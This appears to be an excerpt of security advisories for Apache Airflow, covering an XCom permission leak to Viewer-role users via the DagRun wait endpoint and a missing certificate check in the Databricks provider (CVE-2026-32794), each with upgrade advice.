Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role. This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only. Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results. Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.
Medium [CVE-2026-32794] Apache Airflow: Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks.
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-of-a-middle attack that traffic is intercepted and manipulated or credentials exfiltrated w/o notice. This issue affects Apache Airflow Provider for Databricks: from 1.10.0 before 1.12.0. Users are recommended to upgrade to version 1.12.0, which fixes the issue.
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